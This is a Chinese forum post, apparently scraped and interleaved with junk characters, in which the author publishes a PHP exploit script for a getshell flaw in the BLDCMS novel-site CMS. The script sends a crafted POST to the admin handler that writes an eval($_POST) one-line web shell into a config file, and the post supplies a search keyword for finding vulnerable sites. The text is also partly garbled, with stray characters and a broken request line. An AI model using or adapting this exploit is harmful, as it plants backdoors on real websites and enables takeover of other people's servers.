BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞


) I7 H5 R8 X; N- }, U+ o话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

; w6 k' n  S4 X8 A. g# ]1 p既然都有人发了 我就把我之前写好的EXP放出来吧
2 D( F# a$ j0 O' j
7 p8 r! E3 u. mview source print?01.php;">
02.<!--?php
03.echo "-------------------------------------------------------------------
04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
08.
6 m$ f, S( m4 Z* W- F8 a- x* s( ]09.QQ:981009941\r\n                                2013.3.21\r\n            
4 B+ g6 f* _: ]" G- |$ S10.
# i# w$ S- u" h+ {11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
9 o( \/ \" y' m5 r13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
8 `- d. u, H7 f# P8 U8 V( b( U16.--------------------------------------------------------------------\r\n";
. a( G7 H1 m! W. b- e: R  z3 I17.$url=$argv[1];
/ `3 w+ I' K! a$ s$ t$ ~) l( P% e18.$dir=$argv[2];
7 ?  J& n( _; D: ?7 E+ V19.$pass=$argv[3];
3 c5 r1 A5 O. }: ^- `3 o20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
22.{exit("请输入参数");}
23.else
7 o; h. O: l! M" U24.{
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
5 r) l8 |; m4 r' {  o, M" g6 q; H26.
27.al;
, z2 Y+ J" z. ^) z28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
! I# {3 D  r8 M3 h$ T! I# P; J30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
6 x2 a+ m: j, z& d4 n* I32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
+ O% a7 |6 k* w: r7 j  ~33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
1 Y* n$ Z6 G6 l7 _34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
& g$ Q6 ~8 _5 X. X2 B, J8 _$ Y. |36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
7 K1 Y$ I& Q0 {38.$header .="\r\n";
! k" P0 x; P: J1 t' r' r39.$header .= $fuckdata."\r\n\r\n";
1 O3 ?# o3 x, ^% a2 C: L/ m40.$fp = fsockopen($url, 80,$errno,$errstr,15);
41.if (!$fp)
! \8 e' P1 m  ]" w42.{
% L0 w# N( K* Y7 _% T/ [43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
47.else
48.{
49.$receive = '';
; T6 M( S$ g( ^+ V, _9 ~50.while (!feof($fp)) {
0 P% x+ ^5 d" k- k5 y  E2 O* q51.$receive .= @fgets($fp, 1000);
52.}
53.@fclose($fp);
% S, U+ e) V, x54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
! ~2 U! I, Y6 ?. I# O: j* `+ J0 [55.
  u  ]) W- A4 H2 Z% ^56.GPC是否=off)";
57.}}
58.}
59.}
  \" l8 }: e7 T3 c60.getshell($url,$pass);
1 l( N4 S' k; ~; H" E' L0 R. W61.?-->
# f! S1 ]5 k+ t$ `: o+ H
$ ^( }8 J) u) K6 k' N5 L4 G
* s2 O" q3 z9 t) M# T0 C5 X/ p
by 数据流